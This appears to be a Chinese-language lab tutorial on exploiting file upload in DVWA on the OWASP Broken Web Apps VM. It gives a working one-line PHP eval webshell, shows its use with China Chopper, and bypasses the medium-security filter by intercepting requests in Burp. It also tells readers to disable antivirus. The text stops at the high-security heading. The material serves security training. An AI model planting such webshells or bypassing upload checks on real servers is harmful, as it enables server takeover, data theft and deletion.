上传渗透----中国菜刀和kali的使用（安全攻防）

本文章仅供实验参考

1.实验环境

目标靶机：OWASP_Broken_Web_Apps_VM_1.2
下载地址
我们还需要中国菜刀和kali这两个工具，把所有的杀毒软件关了，不然中国菜刀可能会被杀毒软件和谐。
实验原理

1、文件上传（File Upload）是大部分Web应用都具备的功能，例如用户上传附件、修改头像、分享图片/视频等
2、正常的文件一般是文档、图片、视频等，Web应用收集之后放入后台存储，需要的时候再调用出来返回
3、如果恶意文件如PHP、ASP等执行文件绕过Web应用，并顺利执行，则相当于黑客直接拿到了Webshell
4、一旦黑客拿到Webshell，则可以拿到Web应用的数据，删除Web文件，本地提权，进一步拿下整个服务器甚至内网
5、SQL注入攻击的对象是数据库服务，文件上传漏洞主要攻击Web服务，实际渗透两种相结合，达到对目标的深度控制

2.低安全模式

首先我们需要用虚拟机打开目标靶机，并查看ip地址

root@owaspbwa:~# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue state UNKNOWN 
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN qlen 1000
    link/ether 00:0c:29:b2:da:ea brd ff:ff:ff:ff:ff:ff
    inet 192.168.13.144/24 brd 192.168.13.255 scope global eth0
    inet6 fe80::20c:29ff:feb2:daea/64 scope link 
       valid_lft forever preferred_lft forever

找到ip后，我们打开网页访问192.168.13.144





上传我们已经写好的小马文件（木马）
文件里面其实只有一行内容，所以叫做小马
小马： 一句话木马也称为小马，即整个shell代码量只有一行，一般是系统执行函数
大马： 代码量和功能比小马多，一般会进行二次编码加密，防止被安全防火墙/入侵系统检测到

<?php @eval($_POST['yjssjm']);?>
格式不要动，只需要改''里面的东西就行了，yjssjm是你定义的密码，与下面使用的中国菜刀密码保持一致就行

然后我们去目标靶机上面查看并创建一个测试文件

root@owaspbwa:~# cd /owaspbwa/owaspbwa-svn/var/www/dvwa/hackable/uploads
root@owaspbwa:/owaspbwa/owaspbwa-svn/var/www/dvwa/hackable/uploads# ls
shell.php
root@owaspbwa:/owaspbwa/owaspbwa-svn/var/www/dvwa/hackable/uploads# echo 'aaaa' > a.txt   #创建一个测试文件
root@owaspbwa:/owaspbwa/owaspbwa-svn/var/www/dvwa/hackable/uploads# ls
a.txt  shell.php

设置好后我们双击点开

我们将a.txt删除，然后去服务器上查看，发现服务器上的a.txt文件也被删除了，这就是利用了上传漏洞进行攻击。

3.中安全模式

我们将安全改为中等，这时候再上传我们发现我们上传失败



这个时候我们需要用到kali这个工具作为代理，将我们访问的消息拦截，然后进行类型的改变再转发过去就可以了。
打开kali，默认用户名是root，密码是toor


然后我们一直点右下角I Accept ---- next ------ Start Burp 进入就行了


然后我们需要去网页上设置，将所有的访问都转到192.168.13.145


然后我们再次上传，这个时候kali上面会显示我们上传的信息


再看DVWA我们发现成功了

接下来就跟上面一样了，我们可以在中国菜刀进入该服务器。
如果自己下载不好中国菜刀跟kali的小伙伴可以在评论区留下自己的邮箱，
在这里劝大家自己在自己电脑上试试就好了，要是造成了经济损失就不好了。

4.高安全模式

高安全模式我们去看源码，会发现只能上传图片，这个时候的安全性以及很高了。
高安全模式下的做法